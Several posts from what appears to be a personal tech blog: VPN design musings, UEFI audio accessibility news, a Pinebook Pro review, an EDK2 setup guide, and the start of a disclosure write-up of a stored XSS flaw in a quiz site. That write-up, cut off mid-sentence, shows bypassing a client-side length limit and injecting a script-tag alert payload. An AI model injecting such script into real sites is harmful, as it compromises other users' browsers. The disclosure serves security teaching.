erased, broken into, etc. +It would be fairly easy, if they have access to the active salt, to migrate to a new salt every few days/months, or perhaps every time a server upgrade/maintenance happens. +This does run the possibility of larger issues if the server is shut down or hangs during a migration and needs to be restarted. +Many users may end up with accounts they cannot access without manual cleanup.</p> + +<p>In the end, the <em>application</em> would need a backup of this salt, otherwise login times would become linear to the number of users as the database checks every user’s salt to see if it matches the hash made with the username input. +Note that the <em>database</em> does not store the salt, so finding it will be very hard, even in the case of a leaked database.</p> + +<p>So, here’s the overview: +The username will be generated, then stored <em>after</em> being salted and hashed. +The salt will be a fixed or rolling salt across all usernames to avoid linear scaling of searching for a user. +The server will only see the username once, when sending it to the user for them to save for the first time; +there will be no database entry with the original username in it.</p> + +<p>This does mean that if the username is lost, the account is lost too. There is no way to recover the account. +Again, this is ok for now, as my target audience is advanced Linux and privacy enthusiasts.</p> + +<h3 id="passwords">“Passwords”</h3> + +<p>There are a few options for passwords/secret keys.</p> + +<p>I think the best is to treat it similarly to the username is above, except it will <em>not</em> be generated for you. +When a new account is generated, you will be taken to a password reset screen where you will set your password to whatever your want, using your own secure system to handle it. +This is ideal for Linux and tech enthusiasts as they generally already have a password management system setup.</p> + +<p>This will also be salted, with its own unique salt, then hashed and stored alongside the username.</p> + +<h3 id="active-time-remaining">Active Time Remaining</h3> + +<p>It is easy and ideal to have a field connected to a user with their expiry date for their account. +When a payment is made, this date will be increased by the number of days, hours and minutes proportional to the payment received.</p> + +<p>For example: if a “month” (30 days) costs ten dollars, then a payment of fifteen dollars would add 45 days to an account. So essentially 33 cents per day, <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mn>10</mn><mrow><mn>30</mn><mo>×</mo><mn>24</mn></mrow></mfrac><mo>=</mo><mn>0.0138</mn></mrow><annotation encoding="application/x-tex"> \frac{10}{30 \times 24}=0.0138</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2484389999999999em;vertical-align:-0.403331em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.845108em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">3</span><span class="mord mtight">0</span><span class="mbin mtight">×</span><span class="mord mtight">2</span><span class="mord mtight">4</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span><span class="mord mtight">0</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.403331em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">0</span><span class="mord">.</span><span class="mord">0</span><span class="mord">1</span><span class="mord">3</span><span class="mord">8</span></span></span></span> dollars per hour, or <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mn>10</mn><mrow><mn>30</mn><mo>×</mo><mn>24</mn><mo>×</mo><mn>60</mn></mrow></mfrac><mo>=</mo><mn>0.00023</mn><mover accent="true"><mn>148</mn><mo stretchy="true">‾</mo></mover></mrow><annotation encoding="application/x-tex">\frac{10}{30 \times 24 \times 60}=0.00023\overline{148}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2484389999999999em;vertical-align:-0.403331em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.845108em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">3</span><span class="mord mtight">0</span><span class="mbin mtight">×</span><span class="mord mtight">2</span><span class="mord mtight">4</span><span class="mbin mtight">×</span><span class="mord mtight">6</span><span class="mord mtight">0</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span><span class="mord mtight">0</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.403331em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8444400000000001em;vertical-align:0em;"></span><span class="mord">0</span><span class="mord">.</span><span class="mord">0</span><span class="mord">0</span><span class="mord">0</span><span class="mord">2</span><span class="mord">3</span><span class="mord overline"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8444400000000001em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span><span class="mord">4</span><span class="mord">8</span></span></span><span style="top:-3.76444em;"><span class="pstrut" style="height:3em;"></span><span class="overline-line" style="border-bottom-width:0.04em;"></span></span></span></span></span></span></span></span></span> dollars per minute. +This is the second biggest threat to the users’ data privacy, as this, by definition, cannot be encrypted as my server needs access to this data to decide whether a user should be allowed to: view a list of VPN nodes available to them or connect to a VPN. +The best I can think of in this case is:</p> +<ol> + <li>Use a system similar to the username: use a common salt and hash algorithm to store them in the database.</li> + <li>Use full-disk and full-database encryption to keep the data secure to outside attackers.</li> +</ol> + +<p>This is not a fantastic solution, and still has the threat of a service provider snooping in on the database. +The truth is: a service provider has root access to any machine it hosts. +This necessitates that the <em>physical</em> infrastructure hosting the central database server must by physically owned and operated by the VPN operator and not any third party. +In addition, it means top security root passwords, tamper resistant cases (in the case of a co-hosting or server room environment), sensors to indicate it has been opened or touched. +If you thought this was bad, wait until the next part.</p> + +<h3 id="active-connections">Active Connections</h3> + +<p>In order to stop a user from simply using the entire bandwidth of all the VPN nodes available to them, there must be a way to know how many active connections the user has. +This is <em>by far</em> the biggest issue in terms of user privacy. +There are a few options here:</p> +<ol> + <li>Do not have a limit on the number of connections a user may have. This is dangerous from a <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack">DDoS (distributed denial-of-service)</a> perspective. +This also makes the VPN provider vulnerable to be used as a DDoS distribution method by putting all their traffic through the VPN provider, and them not having any logs—the bad guys could use the distributed nature of VPN nodes to attack whoever they see fit. +This is not a viable option.</li> + <li>Have a list of connected users sent to the central server every 15 to 30 seconds. This is fairly efficient, but more privacy invasive.</li> + <li>When a user connects, log an explicit “connect” message. +When a user disconnects, send an explicit “disconnect”. +Have the VPN server report an <em>implicit</em> “disconnect” after an amount of time, say 15 minutes, then send an implicit “connect” message once traffic continues. This is all in RAM under temporary storage and is lost upon restart of the server.</li> +</ol> + +<p>The best method (used currently by <a href="https://mullvad.net">Mullvad VPN</a>) is number 3.</p> + +<h2 id="panel">Panel</h2> + +<p>The admin panel will have some broad info about the nodes:</p> + +<ul> + <li>Active connections</li> + <li>Server load (held and reported every minute by the nodes themselves. Not sure how to do this yet.)</li> + <li>Location</li> + <li>IP Address</li> + <li>Failed connections in last X amount of time (i.e. invalid credentials)</li> + <li>Physical server status (i.e. owned by the hoster vs. contracted out to another hosting company in the area)</li> +</ul> + +<p>This panel would also have options to stop, start or soft stop the VPN service on each node for maintenance. +A soft stop will stop new connections and remove it from the list of available servers for the end-user. Users will disconnect whenever they feel like it—eventually winding down to zero connections. +This allows maintenance without service disruption.</p> + +<p>I’m not sure how to do this securely. +Best I can think of right now is have an admin login, then have the server have a key in each node machine. +This completely compromises the SSH key system though. +Now every node is secured with nothing but a password. Maybe the console will require connecting to a local instance on a machine through an encrypted connection which will require a key. +Even then, that does make every machine vulnerable to one point of failure (the key to connect to the local instance).</p> + +<p>Another way to approach this, security-wise is to make a shell script (or locally running flask app) which reads info about the servers from a sqlite database. +Then, it uses the local computer to connect to the servers—assuming the local machine has all the keys necessary to do so.</p> + +<p>This fixes one problem and creates another. +It fixes the single point of failure in the cloud. This <em>massively</em> reduces the attack surface to intentionally stealing physical hardware from trusted parties, or software-hacking these same trusted people. +But, if the key is lost by the host… The entire service is kaput. No maintenance may be performed, no checks, bans, addition of servers can be done whatsoever. +This also increases the possibility of sloppy security from trusted parties. +Perhaps a trusted member leaves his laptop unattended for a few minutes and a hacker is able to steal the simple key file. He’s in!!! +This is very unlikely, I must say, but it comes down to: should I trust people or machines more to keep the data secure. +Depending on the person, I might trust them more.</p> + +<h2 id="conclusion">Conclusion</h2> + +<p>With all of these ideas in mind, I have realized how difficult it really is to make a VPN service. +Boy do they deserve every dollar they get! +If you don’t have a VPN, get one. +Doesn’t really matter which one, unless you’re a nerd—for your average person you can just pick whatever the best deal is at the time and you’re off to the races.</p> + +<p>Anyway, I think I’ve rambled on long enough about VPNs and my crazy ideas, so I’m going to leave this one for now.</p> + +<p>Happy VPN hacking :D</p>Recently I’ve been thinking about starting a VPN service. This service has some interesting requirements that I have never seen a VPN service do before, so I’d like to put down my thoughts as to what might be sensible for a centralized yet encrypted* VPN service.UEFI Audio Protocol &amp; UEFI BIOS Accessibility2021-06-21T00:00:00-06:002021-06-21T00:00:00-06:00/2021/06/21/uefi-audio<p>Good news about the state of accessibility in the BIOS!</p> + +<h2 id="preamble">Preamble</h2> + +<p>On my <a href="/ideas/">ideas page</a>, I have always had up the idea of an accessibility layer for blind people to be able to use their BIOS. +Although it targets a very small percentage of the population, +computer programming is often at least a hobby of visually imapired individuals as it is (mostly) a text-based job: +You write code in plain text, then run it to get either plain text or some kind of HTML output. +Mostly an accessible career for those who cannot see. +That said, there has always been an issue with low-level computer infrastructure (i.e. the BIOS/UEFI). +These menus—which let you edit your boot order, RAM timings, CPU and GPU overclocking and sometimes even fan speed—they were completely inaccessible to those who could not see them. +Well, until… soon. I had a talk with one of the big bois working on EDK2, the UEFI implementation which is used by most motherboard vendors to create their firmware. +I thought I would share the info I understand, and the conversation in full.</p> + +<h2 id="news">News</h2> + +<p>Here is what I know:</p> + +<ol> + <li>This year, the GSoC (Google Summer of Code) project had <a href="https://summerofcode.withgoogle.com/projects/#6499615798460416">a submission of Ethin Probst</a> to implement VirtIO audio drivers for EDK2.</li> + <li><a href="https://qemu.org">QEMU</a>, the emulator that was chosen to test for this project does not have VirtIO support (yet). I haven’t found info on when this will be done.</li> + <li>Because of 2, Ethin and his mentors for his project, Ray Ni and Leif Lindholm decided to first implement USB-dongle audio support first, as this is a) supported in QEMU, and b) is good enough to start squashing bugs at the audio level.</li> + <li>Because GSoC is usually over around September, there will likely be some more news coming soon!</li> +</ol> + +<h2 id="the-irc-chat">The IRC Chat</h2> + +<p>Here is the log of the IRC chat for anyone who is interested in anything I might have missed:</p> + +<pre class="terminal"> +tait_dot_tech: Hello there, I'm new to IRC so just checking my messages are coming through. +tait_dot_tech: Looks light it's alright. Ok so I have a question: does anyone know of an active project looking at making UEFI accessible to the blind (i.e. speec) [sic] from within the UEFI environment? Main concern is having blind users be able to boot Linux USBs (I know, very niche thing), but depending on how good it is, could potentially be used to allow blind individuals to change their overclocking, +tait_dot_tech: hardware RAID, boot order, RAM timings, etc. all on their own. Just wondering if there is any project doing this? I have tried my best to find anything, and am just trying not to duplicate effort. Thanks :) +leiflindholm: tait_dot_tech: we have a google summer of code project running this year, prototyping a standard for audio output. To hopefully be added to the UEFI specification in the future. +leiflindholm: once we have a standard for audio output, we can work on adding support for audio output to the Human Interface Infrastructure +leiflindholm: which is the thing that lets menus be loaded and displayed independent of specific graphical implementation +tait_dot_tech: Oh wow! Glad to hear there is progress on this! Is there a link to the Google summer of code project, or anything else where I can keep tabs? +leiflindholm: tait_dot_tech: there isn't much yet, we're only on week 3 of GSoC. +leiflindholm: https://summerofcode.withgoogle.com/projects/#6499615798460416 is the link if it's something you want to point others to, but any discussion/reporting is likely to hapen [sic] on our mailing lists +tait_dot_tech: By "our" mailing list, do you mean GSoC, or Edk2? +leiflindholm: edk2 +leiflindholm: although, on average, at least 99% of edk2-devel will *not* be about audio support +leiflindholm: When we have anything interesting to say, we'll also post to edk2-discuss/edk2-announce +tait_dot_tech: Sweet! I'll join that one just in case! I'd be happy to test anything in beta-ish state and report back with any device I can get my hands on. Is that the right list to watch for hepling test it out? +leiflindholm: I'd say so. +leiflindholm: The original plan was to start with wirtio [sic] audio support, so anyone could help out anywhere, but that support is not yet upstream in qemu. So for now we're working on an [sic] USB audio class driver. That will certainly be useful to have more people testing with different equipment once we have something working. +tait_dot_tech: Ahh! So if I want to test, I should get a USB audio dongle. Gotcha! Thank you so much! You've been super helpful! +leiflindholm: np :) +</pre> + +<p>Things are (slowly) looking up for audio (and eventually screen-reader support) in UEFI! +Phew! Glad I’m not the only one thinking about this!</p> + +<p>Happy UEFI hacking :)</p>Good news about the state of accessibility in the BIOS!Pinebook Pro, The Ultimate ARM Laptop2021-06-02T00:00:00-06:002021-06-02T00:00:00-06:00/2021/06/02/pinebook-pro<p>I recently got my Pinebook Pro. +It was more expensive than I was expecting, coming in at (including shipping and handling) C$335. +I always forget the exchange rate and assume it’s similar to the U.S. dollar, but it never is, haha! +Anyway, this is just my first impressions and what I did to fix a few issues.</p> + +<h2 id="initial-impressions">Initial Impressions</h2> + +<p>My first impressions of this are quite good. +I like the keyboard; it is firm and not mushy for the price. +It actually has a similar keyboard to my school-supplied Dell, which I quite enjoyed typing on. +The shell is aluminium and doesn’t feel <em>too</em> cheap, but I should note that it sure doesn’t feel like a Macbook if that’s what you’re expecting. +All in all build quality seems pretty good for a product in this price range. +I’m actually using it right now to write this article, and I’m actually typing faster than I would on my desktop.</p> + +<p>The screen is bright enough and has anti-glare applied to it. I can use it with moderate light behind me, but not a sunset. Decent, and I can’t even use my phone with a sunset right on it, so that’s not a huge loss at all as I think my phone costs more than this haha!</p> + +<p>The trackpad is fine. +I don’t use the mouse very often, and if I need it I’m more likely to bring an external one. +It works for what I need though. +I can’t seem to get the glossy protector off the trackpad though so maybe it would be better if I did haha!</p> + +<p>The temperatures are okay. I would consider them not ideal. +The left side closer to the hinge can get quite warm when I push it. +To be expected in some respects, but the metal case certainly makes the heat come out fast and hot! +It is also passively cooled, so a bit of heat makes sense and is reasonable. +I wonder if I could mod this to have an active low-profile fan? +A project for later, I suppose.</p> + +<p>The keyboard is pretty standard for a 14-inch laptop. +No numpad (except with function key), has F1-12 and media keys using function+F1-12. +Screen brightness, sound up, down and mute, and num and scroll lock. +These seem to work no matter what distribution you have (I’ve used Manjaro KDE and Manjaro Sway). +Perhaps this would react differently on Arch for ARM with no key bindings. +I’m not sure if this is implemented in software or hardware.</p> + +<p>The speakers and very tin-y and do not sound good at all. +That said, they look very replaceable, so I’ll look into a mod in the future. +The Pinebook Pro comes with a headphone port, so you could just use that if the sound bothers you.</p> + +<h2 id="some-suggestions">Some suggestions</h2> + +<p>I had some issues when it first arrived.</p> + +<ol> + <li>Reboot did not work. The display would glitch out and show horizontal lines. It would only work after a full shutdown.</li> + <li>Booting would sometimes not work at all. My SD card would sometimes boot, sometimes not. eMMC would sometimes work and sometimes not. Sometimes I would even get to the login screen, or fully logged in before it decided to freeze/hang. I could “drop to console” (Ctrl+Alt+Fx), but it only made my mouse stop showing, it would not actually display a console. This problem was worse when not plugged in.</li> + <li>Performance was not stellar, even for the RK3399.</li> + <li>I don’t like the Manjaro logo that displays during boot.</li> +</ol> + +<h3 id="dont-use-kde">Don’t use KDE</h3> + +<p>KDE for me is a bit slow. +It is not a keyboard-driven desktop. +To give it some credit though, it does at least have zoom support built in; this is something I wish other desktops would have enabled by default. +I’m looking at your, Xfce.</p> + +<p>I switched to Manjaro Sway, which is a Wayland-based i3-like tiling window manager. +I’ve used this on my Raspberry Pi 4, and it is by far my preference among other default distro configurations.</p> + +<p>This can be done by flashing an SD card with any random Linux distro, then download <a href="">Manjaro Sway ARM for the Pinebook Pro</a>.</p> + +<p>Quickly, we should prepare the eMMC. Open <code class="language-plaintext highlighter-rouge">fdisk</code> with your eMMC module and remove all partitions. +If you have issues with this, check if any partition is mounted, unmount it, then try again. +<code class="language-plaintext highlighter-rouge">fdisk</code> is well documented elsewhere, so I won’t cover it here.</p> + +<p>Once your .xz file is downloaded, <code class="language-plaintext highlighter-rouge">unxz</code> the .xz file downloaded.</p> + +<pre class="terminal"> +$ cd ~/Downloads +$ unxz Manjaro-Sway-ARM-pbp-20.10.img.xz +</pre> + +<p>Not exactly those commands, but close.</p> + +<p>Once you have that, flash your eMMC by using <code class="language-plaintext highlighter-rouge">dd</code>.</p> + +<pre class="terminal"> +# dd if=./Manjaro-Sway-ARM-pbp-20.10.img of=/dev/mmcblkX bs=1M conv=fsync +</pre> + +<p>Now remove your SD card. +U-Boot will prefer your SD card over your eMMC, so if you leave it in, it <em>will</em> boot to your SD card.</p> + +<h3 id="flash-your-u-boot-bsp">Flash Your U-Boot (BSP)</h3> + +<p>U-Boot appeared to be the solution to my other two issues. +I was able to flash a new U-Boot program by using the following commands. +Be sure to run <code class="language-plaintext highlighter-rouge">lsblk</code> beforehand to know which <code class="language-plaintext highlighter-rouge">/dev/emmcblk</code> to write to. +Replace <code class="language-plaintext highlighter-rouge">X</code> with the correct number for your system.</p> + +<pre class="terminal"> +# pacman -S uboot-pinebookpro-bsp +# dd if=/boot/idbloader.img of=/dev/mmcblkX seek=64 conv=notrunc +# dd if=/boot/uboot.img of=/dev/mmcblkX seek=16384 conv=Notrunc +# dd if=/boot/trust.img of=/dev/mmcblkX seek=24576 conv=notrunc +</pre> + +<p>The <code class="language-plaintext highlighter-rouge">dd</code> instructions are printed out after installing the <code class="language-plaintext highlighter-rouge">uboot-pinebookpro-bsp</code> package, so make sure to follow what is printed there if it is different that what I have provided.</p> + +<p>After doing this, not only have I since booted 100% of the time, +but my display now works correctly after a reboot without a full shutdown.</p> + +<p>Whew! Looking good!!!</p> + +<h3 id="maybe-get-some-of-the-accessories">Maybe get some of the accessories</h3> + +<p>I didn’t buy any accessories from Pine64. +I regret this somewhat. +For one thing, without an accessory to read the eMMC over USB, you need to have a working Linux distro on the SD card to get anywhere with it. +Flashing directly to the eMMC would have saved me a <em>lot</em> of time.</p> + +<p>The other accessory I could see the occasional use for is the Ethernet adapter. +When downloading a big update (1GB+), it could be useful to wire in just temporarily. +Not a huge deal, but worth mentioning.</p> + +<p>I would also be interested in the other batteries they have available. +Even though it comes with a battery, and I also don’t think you can install a second one, I would be interested to see if I could get more life out of it with an improved battery. +If this is a standard battery (Pine64 tends to use standard parts), then I would consider getting it from a supplier as well.</p> + +<p>The Pinebook Pro does not come with any HDMI ports. +It comes with a USB type-C port that can be adapted to HDMI. +Or you can get a display that supports USB type-C. +I do not have a display that supports USB type-C, so it might be worth it for me to buy an adapter or find a compatible one more locally. +Shipping from Hong Kong ain’t cheap.</p> + +<h3 id="replace-the-boot-logo">Replace the boot logo</h3> + +<p>The boot splash screen can be replaced, but I haven’t figured out how yet. +I will post an update to the blog when I do find out.</p> + +<h2 id="conclusion">Conclusion</h2> + +<p>I really want to use the Pinebook Pro more. +Pine64 do a lot for the open-source community and they do their best to use only open hardware. +They do fail in some respects, but they do much better than the mainline distributors like Dell, HP or ASUS.</p> + +<p>Thanks, Pine64! I’m excited to use your products!</p> + +<p>Happy ARM hacking :)</p>I recently got my Pinebook Pro. It was more expensive than I was expecting, coming in at (including shipping and handling) C$335. I always forget the exchange rate and assume it’s similar to the U.S. dollar, but it never is, haha! Anyway, this is just my first impressions and what I did to fix a few issues.UEFI Development On x86 With EDK22021-04-18T00:00:00-06:002021-04-18T00:00:00-06:00/2021/04/18/uefi-development-environment<p>I made this blog so I could remember how to do stuff that had instructions spread around the internet. +So here is how I setup my environment for developing EFI applications.</p> + +<h2 id="requirements">Requirements</h2> + +<p>On Artix or other Arch-based distros like Manjaro I installed the following packages: <code class="language-plaintext highlighter-rouge">gcc nasm iasl</code></p> + +<p>Here is what the packages do:</p> + +<ul> + <li>GCC is obviously the GNU Compiler Collection and it allows us to compile C code to machine code.</li> + <li>NASM stands for Netwide Assembler. It is an assembler and disassembler for 32 and 64 bit Intel x86 platforms.</li> + <li>IASL stands for the ACPI Source Language Compiler/Decompiler. This will compile any ACPI calls to our local machine’s code.</li> +</ul> + +<p>We need all these packages to start our (U)EFI journey. +Now that these are installed, let’s setup our environment.</p> + +<h2 id="building-edk2">Building EDK2</h2> + +<p>I used the stable/202011 branch as that is latest stable version of the EDK2 project.</p> + +<p>So first let’s pull the project:</p> + +<p><code class="language-plaintext highlighter-rouge">git clone https://github.com/tianocore/edk2.git</code></p> + +<p>Now, let’s fetch the tags and switch to the latest stable version:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cd edk2 +git fetch +git checkout stable/202011 +</code></pre></div></div> + +<p>Perfect! We’re on stable now! Let’s grab all our submodules: <code class="language-plaintext highlighter-rouge">git submodule update --init</code></p> + +<p>This will take a bit the first time you do it. But no fear, once that’s done, we can finally build the base tools.</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>make -C BaseTools +export EDK_TOOLS_PATH=$HOME/Documents/edk2/BaseTools +. edksetup.sh BaseTools +</code></pre></div></div> + +<p>Notice we source a file with <code class="language-plaintext highlighter-rouge">.</code> before continuing. This is needed to load some tools and options into our shell for later. The environment variable <code class="language-plaintext highlighter-rouge">EDK_TOOLS_PATH</code> is set so that EDK knows where to find itself later. Now that everything is loaded up, we can modify a config file located at <code class="language-plaintext highlighter-rouge">Conf/target.txt</code>.</p> + +<p>The most important options are these, feel free to append them to the end of the file; there is no default value for them.</p> + +<pre class="file"> +ACTIVE_PLATFORM = MdeModulePkg/MdeModulePkg.dsc +TOOL_CHAIN_TAG = GCC5 +# for 64-bit development +TARGET_ARCH = X64 +# for 32-bit development +TARGET_ARCH = IA32 +# for 32 and 64-bit development +TARGET_ARCH = IA32 X64 + +# set multithreading to 1 + (2 x # of cores) +MAX_CONCURRENT_THREAD_NUMBER = 9 +</pre> + +<p>There are other options, but I don’t know about them much, so I’m just sticking with this for now.</p> + +<p>Finally, after all this work, we can build some .efi files. Let’s compile the <code class="language-plaintext highlighter-rouge">Helloworld.efi</code> file! +Simply run the <code class="language-plaintext highlighter-rouge">build</code> command in the terminal. +You can find your compiled EFI files by running this <code class="language-plaintext highlighter-rouge">ls</code> command:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ls Build/MdeModule/DEBUG_*/*/HelloWorld.efi +</code></pre></div></div> + +<p>This will show all HelloWorld.efi files for all architectures and toolchains (if you decide to change them).</p> + +<h2 id="running-in-uefi-shell">Running In UEFI Shell</h2> + +<p>Once all this is complete, you will want to run your EFI files. +To do so, let’s first add an EFI shell to use at boot. +This will appear as an option in your bootloader, like GRUB, which is what I will show documentation for in this article.</p> + +<p>So, first thing is first, +<a href="https://github.com/tianocore/edk2/blob/UDK2018/ShellBinPkg/UefiShell/X64/Shell.efi?raw=true">download and EFI shell file</a>. +Second, move it to a partition (FAT formatted) which can be used for the UEFI. +On my Linux system, this is /boot. On others there may be no FAT filesystem so attach a USB and format it as FAT. +Third, add the <code class="language-plaintext highlighter-rouge">EFI Shell</code> option to your grub boot file. +Substitute hdX with the right hard drive (I did it with trial and error) as when it doesn’t work I would hit ‘e’ on grub and add the <code class="language-plaintext highlighter-rouge">ls</code> GRUB command. +Substitute the gptX with the correct partition, or msdosX if it is a DOS formatted partition table. +My <code class="language-plaintext highlighter-rouge">Shell.efi</code> was placed in /boot/EFI/.</p> + +<p><label>/etc/grub.d/40_custom</label></p> +<pre class="file"> +menuentry "EFI Shell" { + insmod part_gpt + insmod chain + insmod fat + set root='(hd4,gpt2)' + chainloader /EFI/Shell.efi +} +</pre> + +<p>Now regenerate your grub configuration file with <code class="language-plaintext highlighter-rouge">grub-update</code> (Debian-based) or <code class="language-plaintext highlighter-rouge">grub-mkconfig -o /boot/grub/grub.cfg</code> (Other).</p> + +<p>You’ll know if your shell is working if you see the following text on boot into the EFI shell:</p> + +<pre class="terminal"> +UEFI Interactive Shell v2.1 +EDK II +UEFI v2.4 (EDI II, 0x000100000) +Mapping table: + ... +Shell&gt; +</pre> + +<h2 id="running-hello-world">Running Hello World</h2> + +<p>When we run our <code class="language-plaintext highlighter-rouge">ls</code> command from earlier, remember we saw our <code class="language-plaintext highlighter-rouge">HelloWorld.efi</code> file. +Let’s move this file somewhere useful, like for me, <code class="language-plaintext highlighter-rouge">/boot</code>. +Then, once we’re in our UEFI shell we can run commands:</p> + +<pre class="terminal"> +Shell&gt; .\HelloWorld.efi +UEFI Hello World! +Shell&gt; +</pre> + +<p>And that… All that is how you set up a UEFI development environment.</p> + +<h2 id="conclusion">Conclusion</h2> + +<p>This took me a long time to figure out. +I needed to scrounge resources from around the internet, +and I had to look at my config files for hours to make sure that I hadn’t missed a step that I did without thinking. +I hope this will be useful to you and my future self.</p> + +<p>Happy UEFI hacking :)</p>I made this blog so I could remember how to do stuff that had instructions spread around the internet. So here is how I setup my environment for developing EFI applications.The “Quiz Your Friends” XSS Exploit2021-04-04T00:00:00-06:002021-04-04T00:00:00-06:00/2021/04/04/quiz-your-friends-xss<p>Note: I have alerted the administrators of this site multiple times about this vulnerability. +One email was sent many years ago, which is more than enough time for <a href="https://en.wikipedia.org/wiki/Responsible_disclosure">responsible disclosure</a>.</p> + +<p>Update: They have fixed the vulnerability as of the day of release for this article.</p> + +<h2 id="background">Background</h2> + +<p>In early 2014, when my “programming” skills consisted of editing web pages with inspect element, I was sent a link from an old friend in a town about 3 hours away. +This was a link to a quiz about them. +I had to answer as many questions right as I could about them and I got a score at the end based on my answers. +It seemed fun enough, so I went for it. +In the following weeks this quiz website became quite a trend amongst my friend group as we all started making quizes to see how well we all knew eachother.</p> + +<p>A few weeks into this trend, I was staying at a friends’ place and told him about this site, +so he goes and creates his own quiz and sends it to all his friends, group chats, Google Plus groups, et cetera.</p> + +<h2 id="hackerman">Hackerman</h2> + +<p>While filling in my friend’s survey I thought it would be +funny for them to know it is me without anyone else knowing. +We were young and had <code class="language-plaintext highlighter-rouge">Inspect Element</code>ed a few things together, +so it was a safe bet that an HTML joke would let them know.</p> + +<p>I decided to write my name like so: <code class="language-plaintext highlighter-rouge">&lt;b&gt;Steve&lt;/b&gt;</code>. +Steve is in reference to the <a href="https://minecraft.gamepedia.com/Player">main character</a> in the video game Minecraft.</p> + +<figure> + <img src="/assets/img/qyf-xss/2-bold.png" /> + <figcaption> + <p>Me typing in my name as <span class="mono">&lt;b&gt;Steve&lt;/b&gt;</span>.</p> + </figcaption> +</figure> + +<p>Now in theory this should have shown in in the leaderboard as: “&lt;b&gt;Steve&lt;/b&gt;” +However, to my horror and excitement, I saw this in the leaderboard:</p> + +<figure> + <img src="/assets/img/qyf-xss/3-steve-board.png" /> + <figcaption> + <p><span class="mono">&lt;b&gt;Steve&lt;/b&gt;</span> displaying in the leaderboard as bold text: <b>Steve</b></p> + </figcaption> +</figure> + +<p>The text “Steve” showed up <strong>in bold</strong> on the leaderboard. +This told me all I needed to know. +How did this happen? You might wonder.</p> + +<h3 id="server-side-validation">Server-Side Validation</h3> + +<p>Here is a great demonstration why you should do most of your validation on the server side. +As a user, I can edit any of the HTML, CSS, or Javascript your server serves to me.</p> + +<p>Quiz your friends uses the <code class="language-plaintext highlighter-rouge">maxlength=20</code> HTML attribute on the name input field. +Imagine trying to fit in a script tag doing anything useful with 20 characters! Don’t forget that includes the <code class="language-plaintext highlighter-rouge">&lt;script&gt;</code> tag. +That would leave 13 characters for Javascript. +Although I’m sure a genius would be able to <a href="https://code.golf/">code golf</a> that, I know I couldn’t.</p> + +<p>Now obviously I can edit any HTML that a server has sent to me. +If I open up my inspect element window, I can go ahead and change that <code class="language-plaintext highlighter-rouge">maxlength</code> attribute to anything I want. +Let’s change it to 100!</p> + +<figure> + <img src="/assets/img/qyf-xss/5-maxlength.png" alt="An image of the Quiz Your Friends name input field with inspect element. THe code reads: &lt;font class=&quot;style6&quot;&gt;&lt;input class=&quot;inputbutton&quot; name=&quot;takername&quot; type=&quot;text&quot; id=&quot;takername&quot; maxlength=&quot;20&quot; width=&quot;425&quot; placeholder=&quot;Your First Name&quot; style=&quot;text-align: center; text-decoration:inherit; font-size:38px;&quot; tabindex=&quot;-1&quot;&gt;&lt;/font&gt;" /> + <figcaption> + Manually changing the maxlength attribute. + </figcaption> +</figure> + +<p>In theory, there is a way that a site can stop people from just putting in their name of any length: server-side validation. +The server <em>could</em> check to see if the input is too long and reject it if it is. +The Quiz My Friends server has <em>no such checks in place</em>. +Therefore, I can send an almost arbitrary load to them. +Being able to send something potentially very large (more than a few megabytes) is a vulnerability of its own. +Imagine being able to send entire executable programs as your “name” in one of these quizzes?</p> + +<h2 id="javascript">Javascript</h2> + +<p>So I went on my merry way thinking about ways to use malicious javascript. +Then, I thought that might be mean, so I decided to warn users instead. +I filled in the name with a script tag and a call to <code class="language-plaintext highlighter-rouge">alert()</code> to warn the user about this site. +I edited the max-length attribute to allow me to type a long string like this:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;script&gt;alert("Don't use this site. It is not secure!");&lt;/script&gt; +</code></pre></div></div> + +<p>Sure enough, I got a text from my friend saying: “Tait! I know this is you, why would you do that!” +A bit salty, but who 